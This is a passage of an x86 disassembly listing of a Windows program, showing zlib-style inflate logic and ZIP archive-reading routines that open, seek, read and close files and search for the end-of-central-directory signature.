mov eax, [ebp+arg_0]
mov ecx, [eax]
xor eax, eax
mov al, [ecx]
shl eax, 10h
mov ecx, [edx+8]
add ecx, eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [eax+8], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 0Ah
loc_42E421: ; CODE XREF: sub_42DEC5+56j
; DATA XREF: TEUm:0042E579o
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_42E432
mov eax, [ebp+var_8]
jmp loc_42E54D
; ---------------------------------------------------------------------------
loc_42E432: ; CODE XREF: sub_42DEC5+563j
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
xor ecx, ecx
mov cl, [edx]
shl ecx, 8
mov edx, [eax+8]
add edx, ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov [ecx+8], edx
mov edx, [ebp+arg_0]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 0Bh
loc_42E48F: ; CODE XREF: sub_42DEC5+56j
; DATA XREF: TEUm:0042E57Do
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_42E4A0
mov eax, [ebp+var_8]
jmp loc_42E54D
; ---------------------------------------------------------------------------
loc_42E4A0: ; CODE XREF: sub_42DEC5+5D1j
mov edx, [ebp+arg_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ebp+arg_0]
mov eax, [edx]
xor edx, edx
mov dl, [eax]
mov eax, [ecx+8]
add eax, edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx+8], eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [ecx+4]
cmp ecx, [eax+8]
jz short loc_42E527
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 0Dh
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+18h], offset aIncorrectDataC ; "incorrect data check"
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax+4], 5
jmp short loc_42E548
; ---------------------------------------------------------------------------
loc_42E527: ; CODE XREF: sub_42DEC5+63Bj
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 0Ch
loc_42E533: ; CODE XREF: sub_42DEC5+56j
; DATA XREF: TEUm:0042E581o
mov eax, 1
jmp short loc_42E54D
; ---------------------------------------------------------------------------
loc_42E53A: ; CODE XREF: sub_42DEC5+56j
; DATA XREF: TEUm:0042E585o
mov eax, 0FFFFFFFDh
jmp short loc_42E54D
; ---------------------------------------------------------------------------
loc_42E541: ; CODE XREF: sub_42DEC5+4Dj
mov eax, 0FFFFFFFEh
jmp short loc_42E54D
; ---------------------------------------------------------------------------
loc_42E548: ; CODE XREF: sub_42DEC5+E5j
; sub_42DEC5+127j ...
jmp loc_42DF03
; ---------------------------------------------------------------------------
loc_42E54D: ; CODE XREF: sub_42DEC5+22j
; sub_42DEC5+69j ...
mov esp, ebp
pop ebp
retn
sub_42DEC5 endp
; ---------------------------------------------------------------------------
off_42E551 dd offset loc_42DF22 ; DATA XREF: sub_42DEC5+56r
dd offset loc_42DFFD
dd offset loc_42E0B6
dd offset loc_42E119
dd offset loc_42E187
dd offset loc_42E1F5
dd offset loc_42E279
dd offset loc_42E2A6
dd offset loc_42E350
dd offset loc_42E3B3
dd offset loc_42E421
dd offset loc_42E48F
dd offset loc_42E533
dd offset loc_42E53A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E589 proc near ; CODE XREF: sub_43012E+7Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
cmp [ebp+arg_8], 1
jz short loc_42E5B1
cmp [ebp+arg_8], 2
jz short loc_42E5B1
cmp [ebp+arg_8], 3
jz short loc_42E5B1
mov eax, [ebp+arg_C]
mov dword ptr [eax], 10000h
xor eax, eax
jmp loc_42E717
; ---------------------------------------------------------------------------
loc_42E5B1: ; CODE XREF: sub_42E589+Aj
; sub_42E589+10j ...
mov [ebp+var_8], 0
mov byte ptr [ebp+var_4], 0
mov ecx, [ebp+arg_C]
mov dword ptr [ecx], 0
cmp [ebp+arg_8], 1
jz short loc_42E5D5
cmp [ebp+arg_8], 2
jnz loc_42E66C
loc_42E5D5: ; CODE XREF: sub_42E589+40j
cmp [ebp+arg_8], 1
jnz short loc_42E61E
mov edx, [ebp+arg_0]
mov [ebp+var_18], edx
push 2
push 0
push 0
lea eax, [ebp+var_8]
push eax
call dword_433098 ; GetCurrentProcess
push eax
mov ecx, [ebp+var_18]
push ecx
call dword_433098 ; GetCurrentProcess
push eax
call dword_43309C ; DuplicateHandle
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_42E61C
mov edx, [ebp+arg_C]
mov dword ptr [edx], 100h
xor eax, eax
jmp loc_42E717
; ---------------------------------------------------------------------------
loc_42E61C: ; CODE XREF: sub_42E589+81j
jmp short loc_42E653
; ---------------------------------------------------------------------------
loc_42E61E: ; CODE XREF: sub_42E589+50j
push 0
push 80h
push 3
push 0
push 1
push 80000000h
mov eax, [ebp+arg_0]
push eax
call dword_433018 ; CreateFileA
mov [ebp+var_8], eax
cmp [ebp+var_8], 0FFFFFFFFh
jnz short loc_42E653
mov ecx, [ebp+arg_C]
mov dword ptr [ecx], 200h
xor eax, eax
jmp loc_42E717
; ---------------------------------------------------------------------------
loc_42E653: ; CODE XREF: sub_42E589:loc_42E61Cj
; sub_42E589+B8j
mov edx, [ebp+var_8]
push edx
call dword_4330A0 ; GetFileType
mov [ebp+var_10], eax
xor eax, eax
cmp [ebp+var_10], 1
setz al
mov byte ptr [ebp+var_4], al
loc_42E66C: ; CODE XREF: sub_42E589+46j
push 1Ch
call sub_431784
add esp, 4
mov [ebp+var_1C], eax
mov ecx, [ebp+var_1C]
mov [ebp+var_C], ecx
cmp [ebp+arg_8], 1
jz short loc_42E68B
cmp [ebp+arg_8], 2
jnz short loc_42E6D8
loc_42E68B: ; CODE XREF: sub_42E589+FAj
mov edx, [ebp+var_C]
mov byte ptr [edx], 1
mov eax, [ebp+var_C]
mov cl, byte ptr [ebp+var_4]
mov [eax+1], cl
mov edx, [ebp+var_C]
mov eax, [ebp+var_8]
mov [edx+4], eax
mov ecx, [ebp+var_C]
mov byte ptr [ecx+8], 0
mov edx, [ebp+var_C]
mov dword ptr [edx+0Ch], 0
mov eax, [ebp+var_4]
and eax, 0FFh
test eax, eax
jz short loc_42E6D6
push 1
push 0
push 0
mov ecx, [ebp+var_8]
push ecx
call dword_4330A4 ; SetFilePointer
mov edx, [ebp+var_C]
mov [edx+0Ch], eax
loc_42E6D6: ; CODE XREF: sub_42E589+135j
jmp short loc_42E70B
; ---------------------------------------------------------------------------
loc_42E6D8: ; CODE XREF: sub_42E589+100j
mov eax, [ebp+var_C]
mov byte ptr [eax], 0
mov ecx, [ebp+var_C]
mov byte ptr [ecx+1], 1
mov edx, [ebp+var_C]
mov eax, [ebp+arg_0]
mov [edx+10h], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
mov [ecx+14h], edx
mov eax, [ebp+var_C]
mov dword ptr [eax+18h], 0
mov ecx, [ebp+var_C]
mov dword ptr [ecx+0Ch], 0
loc_42E70B: ; CODE XREF: sub_42E589:loc_42E6D6j
mov edx, [ebp+arg_C]
mov dword ptr [edx], 0
mov eax, [ebp+var_C]
loc_42E717: ; CODE XREF: sub_42E589+23j
; sub_42E589+8Ej ...
mov esp, ebp
pop ebp
retn
sub_42E589 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E71B proc near ; CODE XREF: sub_42ED22+28p
; sub_42ED22+19Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_42E72A
or eax, 0FFFFFFFFh
jmp short loc_42E756
; ---------------------------------------------------------------------------
loc_42E72A: ; CODE XREF: sub_42E71B+8j
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_42E742
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call dword_433020 ; CloseHandle
loc_42E742: ; CODE XREF: sub_42E71B+18j
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
push edx
call sub_43177E
add esp, 4
xor eax, eax
loc_42E756: ; CODE XREF: sub_42E71B+Dj
mov esp, ebp
pop ebp
retn
sub_42E71B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E75A proc near ; CODE XREF: sub_42E94E+39p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_42E77B
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx+8]
test eax, eax
jz short loc_42E77B
mov eax, 1
jmp short loc_42E77D
; ---------------------------------------------------------------------------
loc_42E77B: ; CODE XREF: sub_42E75A+Cj
; sub_42E75A+18j
xor eax, eax
loc_42E77D: ; CODE XREF: sub_42E75A+1Fj
pop ebp
retn
sub_42E75A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E77F proc near ; CODE XREF: sub_42EB91+25p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_42E7B4
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx+1]
test eax, eax
jz short loc_42E7B4
push 1
push 0
push 0
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
push edx
call dword_4330A4 ; SetFilePointer
mov ecx, [ebp+arg_0]
sub eax, [ecx+0Ch]
jmp short loc_42E7C9
; ---------------------------------------------------------------------------
loc_42E7B4: ; CODE XREF: sub_42E77F+Cj
; sub_42E77F+18j
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_42E7C3
xor eax, eax
jmp short loc_42E7C9
; ---------------------------------------------------------------------------
loc_42E7C3: ; CODE XREF: sub_42E77F+3Ej
mov ecx, [ebp+arg_0]
mov eax, [ecx+18h]
loc_42E7C9: ; CODE XREF: sub_42E77F+33j
; sub_42E77F+42j
pop ebp
retn
sub_42E77F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E7CB proc near ; CODE XREF: sub_42EB91+Ep
; sub_42EB91+D7p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_42E84D
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx+1]
test eax, eax
jz short loc_42E84D
cmp [ebp+arg_8], 0
jnz short loc_42E808
push 0
push 0
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
add edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call dword_4330A4 ; SetFilePointer
jmp short loc_42E849
; ---------------------------------------------------------------------------
loc_42E808: ; CODE XREF: sub_42E7CB+1Ej
cmp [ebp+arg_8], 1
jnz short loc_42E825
push 1
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call dword_4330A4 ; SetFilePointer
jmp short loc_42E849
; ---------------------------------------------------------------------------
loc_42E825: ; CODE XREF: sub_42E7CB+41j
cmp [ebp+arg_8], 2
jnz short loc_42E842
push 2
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call dword_4330A4 ; SetFilePointer
jmp short loc_42E849
; ---------------------------------------------------------------------------
loc_42E842: ; CODE XREF: sub_42E7CB+5Ej
mov eax, 13h
jmp short loc_42E89E
; ---------------------------------------------------------------------------
loc_42E849: ; CODE XREF: sub_42E7CB+3Bj
; sub_42E7CB+58j ...
xor eax, eax
jmp short loc_42E89E
; ---------------------------------------------------------------------------
loc_42E84D: ; CODE XREF: sub_42E7CB+Cj
; sub_42E7CB+18j
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_42E85F
mov eax, 1Dh
jmp short loc_42E89E
; ---------------------------------------------------------------------------
loc_42E85F: ; CODE XREF: sub_42E7CB+8Bj
cmp [ebp+arg_8], 0
jnz short loc_42E870
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov [ecx+18h], edx
jmp short loc_42E89C
; ---------------------------------------------------------------------------
loc_42E870: ; CODE XREF: sub_42E7CB+98j
cmp [ebp+arg_8], 1
jnz short loc_42E887
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
add ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov [edx+18h], ecx
jmp short loc_42E89C
; ---------------------------------------------------------------------------
loc_42E887: ; CODE XREF: sub_42E7CB+A9j
cmp [ebp+arg_8], 2
jnz short loc_42E89C
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov [edx+18h], ecx
loc_42E89C: ; CODE XREF: sub_42E7CB+A3j
; sub_42E7CB+BAj ...
xor eax, eax
loc_42E89E: ; CODE XREF: sub_42E7CB+7Cj
; sub_42E7CB+80j ...
pop ebp
retn
sub_42E7CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E8A0 proc near ; CODE XREF: sub_42E94E+12p
; sub_42EB91+F6p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
imul eax, [ebp+arg_8]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_C]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_42E8F0
push 0
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_C]
mov ecx, [eax+4]
push ecx
call dword_43301C ; ReadFile
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_42E8E6
mov edx, [ebp+arg_C]
mov byte ptr [edx+8], 1
loc_42E8E6: ; CODE XREF: sub_42E8A0+3Dj
mov eax, [ebp+var_10]
xor edx, edx
div [ebp+arg_4]
jmp short loc_42E94A
; ---------------------------------------------------------------------------
loc_42E8F0: ; CODE XREF: sub_42E8A0+19j
mov eax, [ebp+arg_C]
mov ecx, [eax+18h]
add ecx, [ebp+var_8]
mov edx, [ebp+arg_C]
cmp ecx, [edx+14h]
jbe short loc_42E910
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_C]
mov edx, [eax+14h]
sub edx, [ecx+18h]
mov [ebp+var_8], edx
loc_42E910: ; CODE XREF: sub_42E8A0+5Fj
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_C]
mov edx, [ecx+10h]
mov eax, [ebp+arg_C]
add edx, [eax+18h]
push edx
mov ecx, [ebp+arg_0]
push ecx
call sub_4318C4 ; memcpy
add esp, 0Ch
mov edx, [ebp+var_8]
mov [ebp+var_4], edx
mov eax, [ebp+arg_C]
mov ecx, [eax+18h]
add ecx, [ebp+var_4]
mov edx, [ebp+arg_C]
mov [edx+18h], ecx
mov eax, [ebp+var_4]
xor edx, edx
div [ebp+arg_4]
loc_42E94A: ; CODE XREF: sub_42E8A0+4Ej
mov esp, ebp
pop ebp
retn
sub_42E8A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E94E proc near ; CODE XREF: sub_42E99E+Ep
; sub_42E99E+2Dp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
push eax
push 1
push 1
lea ecx, [ebp+var_8]
push ecx
call sub_42E8A0
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 1
jnz short loc_42E983
mov edx, [ebp+var_8]
and edx, 0FFh
mov eax, [ebp+arg_4]
mov [eax], edx
xor eax, eax
jmp short loc_42E99A
; ---------------------------------------------------------------------------
loc_42E983: ; CODE XREF: sub_42E94E+21j
mov ecx, [ebp+arg_0]
push ecx
call sub_42E75A
add esp, 4
test eax, eax
jz short loc_42E998
or eax, 0FFFFFFFFh
jmp short loc_42E99A
; ---------------------------------------------------------------------------
loc_42E998: ; CODE XREF: sub_42E94E+43j
xor eax, eax
loc_42E99A: ; CODE XREF: sub_42E94E+33j
; sub_42E94E+48j
mov esp, ebp
pop ebp
retn
sub_42E94E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E99E proc near ; CODE XREF: sub_42ED22+9Ap
; sub_42ED22+B5p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42E94E
add esp, 8
mov [ebp+var_4], eax
mov edx, [ebp+var_C]
mov [ebp+var_8], edx
cmp [ebp+var_4], 0
jnz short loc_42E9D6
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42E94E
add esp, 8
mov [ebp+var_4], eax
loc_42E9D6: ; CODE XREF: sub_42E99E+23j
mov edx, [ebp+var_C]
shl edx, 8
mov eax, [ebp+var_8]
add eax, edx
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jnz short loc_42E9F4
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx], edx
jmp short loc_42E9FD
; ---------------------------------------------------------------------------
loc_42E9F4: ; CODE XREF: sub_42E99E+4Aj
mov eax, [ebp+arg_4]
mov dword ptr [eax], 0
loc_42E9FD: ; CODE XREF: sub_42E99E+54j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42E99E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EA04 proc near ; CODE XREF: sub_42ED22+7Fp
; sub_42ED22+127p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42E94E
add esp, 8
mov [ebp+var_4], eax
mov edx, [ebp+var_C]
mov [ebp+var_8], edx
cmp [ebp+var_4], 0
jnz short loc_42EA3C
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42E94E
add esp, 8
mov [ebp+var_4], eax
loc_42EA3C: ; CODE XREF: sub_42EA04+23j
mov edx, [ebp+var_C]
shl edx, 8
mov eax, [ebp+var_8]
add eax, edx
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jnz short loc_42EA63
lea ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42E94E
add esp, 8
mov [ebp+var_4], eax
loc_42EA63: ; CODE XREF: sub_42EA04+4Aj
mov eax, [ebp+var_C]
shl eax, 10h
mov ecx, [ebp+var_8]
add ecx, eax
mov [ebp+var_8], ecx
cmp [ebp+var_4], 0
jnz short loc_42EA8A
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42E94E
add esp, 8
mov [ebp+var_4], eax
loc_42EA8A: ; CODE XREF: sub_42EA04+71j
mov ecx, [ebp+var_C]
shl ecx, 18h
mov edx, [ebp+var_8]
add edx, ecx
mov [ebp+var_8], edx
cmp [ebp+var_4], 0
jnz short loc_42EAA8
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [eax], ecx
jmp short loc_42EAB1
; ---------------------------------------------------------------------------
loc_42EAA8: ; CODE XREF: sub_42EA04+98j
mov edx, [ebp+arg_4]
mov dword ptr [edx], 0
loc_42EAB1: ; CODE XREF: sub_42EA04+A2j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42EA04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EAB8 proc near ; CODE XREF: sub_42EB64+23p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
loc_42EABE: ; CODE XREF: sub_42EAB8:loc_42EB5Bj
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_4], cl
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
mov cl, [eax]
mov [ebp+var_8], cl
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
movsx eax, [ebp+var_4]
cmp eax, 61h
jl short loc_42EAFB
movsx ecx, [ebp+var_4]
cmp ecx, 7Ah
jg short loc_42EAFB
mov dl, [ebp+var_4]
sub dl, 20h
mov [ebp+var_4], dl
loc_42EAFB: ; CODE XREF: sub_42EAB8+2Fj
; sub_42EAB8+38j
movsx eax, [ebp+var_8]
cmp eax, 61h
jl short loc_42EB16
movsx ecx, [ebp+var_8]
cmp ecx, 7Ah
jg short loc_42EB16
mov dl, [ebp+var_8]
sub dl, 20h
mov [ebp+var_8], dl
loc_42EB16: ; CODE XREF: sub_42EAB8+4Aj
; sub_42EAB8+53j
movsx eax, [ebp+var_4]
test eax, eax
jnz short loc_42EB28
movsx eax, [ebp+var_8]
neg eax
sbb eax, eax
jmp short loc_42EB60
; ---------------------------------------------------------------------------
loc_42EB28: ; CODE XREF: sub_42EAB8+64j
movsx ecx, [ebp+var_8]
test ecx, ecx
jnz short loc_42EB37
mov eax, 1
jmp short loc_42EB60
; ---------------------------------------------------------------------------
loc_42EB37: ; CODE XREF: sub_42EAB8+76j
movsx edx, [ebp+var_4]
movsx eax, [ebp+var_8]
cmp edx, eax
jge short loc_42EB48
or eax, 0FFFFFFFFh
jmp short loc_42EB60
; ---------------------------------------------------------------------------
loc_42EB48: ; CODE XREF: sub_42EAB8+89j
movsx ecx, [ebp+var_4]
movsx edx, [ebp+var_8]
cmp ecx, edx
jle short loc_42EB5B
mov eax, 1
jmp short loc_42EB60
; ---------------------------------------------------------------------------
loc_42EB5B: ; CODE XREF: sub_42EAB8+9Aj
jmp loc_42EABE
; ---------------------------------------------------------------------------
loc_42EB60: ; CODE XREF: sub_42EAB8+6Ej
; sub_42EAB8+7Dj ...
mov esp, ebp
pop ebp
retn
sub_42EAB8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EB64 proc near ; CODE XREF: sub_42F59A+D5p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 1
jnz short loc_42EB7F
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_431914 ; strcmp
add esp, 8
jmp short loc_42EB8F
; ---------------------------------------------------------------------------
loc_42EB7F: ; CODE XREF: sub_42EB64+7j
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42EAB8
add esp, 8
loc_42EB8F: ; CODE XREF: sub_42EB64+19j
pop ebp
retn
sub_42EB64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EB91 proc near ; CODE XREF: sub_42ED22+42p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push 2
push 0
mov eax, [ebp+arg_0]
push eax
call sub_42E7CB
add esp, 0Ch
test eax, eax
jz short loc_42EBB2
xor eax, eax
jmp loc_42ED1E
; ---------------------------------------------------------------------------
loc_42EBB2: ; CODE XREF: sub_42EB91+18j
mov ecx, [ebp+arg_0]
push ecx
call sub_42E77F
add esp, 4
mov [ebp+var_8], eax
mov [ebp+var_14], 0FFFFh
mov edx, [ebp+var_14]
cmp edx, [ebp+var_8]
jbe short loc_42EBD6
mov eax, [ebp+var_8]
mov [ebp+var_14], eax
loc_42EBD6: ; CODE XREF: sub_42EB91+3Dj
push 404h
call dword_4331C8 ; malloc
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_42EBF4
xor eax, eax
jmp loc_42ED1E
; ---------------------------------------------------------------------------
loc_42EBF4: ; CODE XREF: sub_42EB91+5Aj
mov [ebp+var_10], 0
mov [ebp+var_C], 4
loc_42EC02: ; CODE XREF: sub_42EB91:loc_42ED03j
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_14]
jnb loc_42ED08
mov edx, [ebp+var_C]
add edx, 400h
cmp edx, [ebp+var_14]
jbe short loc_42EC24
mov eax, [ebp+var_14]
mov [ebp+var_C], eax
jmp short loc_42EC30
; ---------------------------------------------------------------------------
loc_42EC24: ; CODE XREF: sub_42EB91+89j
mov ecx, [ebp+var_C]
add ecx, 400h
mov [ebp+var_C], ecx
loc_42EC30: ; CODE XREF: sub_42EB91+91j
mov edx, [ebp+var_8]
sub edx, [ebp+var_C]
mov [ebp+var_20], edx
mov eax, [ebp+var_8]
sub eax, [ebp+var_20]
cmp eax, 404h
jbe short loc_42EC4F
mov [ebp+var_24], 404h
jmp short loc_42EC58
; ---------------------------------------------------------------------------
loc_42EC4F: ; CODE XREF: sub_42EB91+B3j
mov ecx, [ebp+var_8]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
loc_42EC58: ; CODE XREF: sub_42EB91+BCj
mov edx, [ebp+var_24]
mov [ebp+var_18], edx
push 0
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42E7CB
add esp, 0Ch
test eax, eax
jz short loc_42EC79
jmp loc_42ED08
; ---------------------------------------------------------------------------
loc_42EC79: ; CODE XREF: sub_42EB91+E1j
mov edx, [ebp+arg_0]
push edx
push 1
mov eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_42E8A0
add esp, 10h
cmp eax, 1
jz short loc_42EC96
jmp short loc_42ED08
; ---------------------------------------------------------------------------
loc_42EC96: ; CODE XREF: sub_42EB91+101j
mov edx, [ebp+var_18]
sub edx, 3
mov [ebp+var_1C], edx
loc_42EC9F: ; CODE XREF: sub_42EB91:loc_42ECF9j
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jle short loc_42ECFB
mov edx, [ebp+var_4]
add edx, [ebp+var_1C]
xor eax, eax
mov al, [edx]
cmp eax, 50h
jnz short loc_42ECF9
mov ecx, [ebp+var_4]
add ecx, [ebp+var_1C]
xor edx, edx
mov dl, [ecx+1]
cmp edx, 4Bh
jnz short loc_42ECF9
mov eax, [ebp+var_4]
add eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+2]
cmp ecx, 5
jnz short loc_42ECF9
mov edx, [ebp+var_4]
add edx, [ebp+var_1C]
xor eax, eax
mov al, [edx+3]
cmp eax, 6
jnz short loc_42ECF9
mov ecx, [ebp+var_20]
add ecx, [ebp+var_1C]
mov [ebp+var_10], ecx
jmp short loc_42ECFB
; ---------------------------------------------------------------------------
loc_42ECF9: ; CODE XREF: sub_42EB91+12Bj
; sub_42EB91+13Bj ...
jmp short loc_42EC9F
; ---------------------------------------------------------------------------
loc_42ECFB: ; CODE XREF: sub_42EB91+11Cj
; sub_42EB91+166j
cmp [ebp+var_10], 0
jz short loc_42ED03
jmp short loc_42ED08
; ---------------------------------------------------------------------------
loc_42ED03: ; CODE XREF: sub_42EB91+16Ej
jmp loc_42EC02
; ---------------------------------------------------------------------------
loc_42ED08: ; CODE XREF: sub_42EB91+77j
; sub_42EB91+E3j ...
cmp [ebp+var_4], 0
jz short loc_42ED1B
mov edx, [ebp+var_4]
push edx
call dword_4331D4 ; free
